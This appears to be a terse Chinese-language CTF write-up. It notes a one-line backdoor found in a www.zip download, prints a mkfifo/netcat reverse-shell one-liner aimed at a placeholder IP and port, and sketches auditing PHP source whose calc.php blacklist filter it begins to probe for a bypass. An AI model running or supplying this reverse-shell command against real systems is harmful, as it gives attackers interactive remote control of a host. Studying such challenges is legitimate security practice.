原文链接
https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe
www.zip下载得到一个一句话的后门
连接上去。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP port >/tmp/f
github下源码审计
首先从index.php看。
导入了三个文件
require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');
访问calc.php得到源码
['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']
不允许出现a-z以及一些不可见字符。等
但是这里还允许数字。括号。点。|&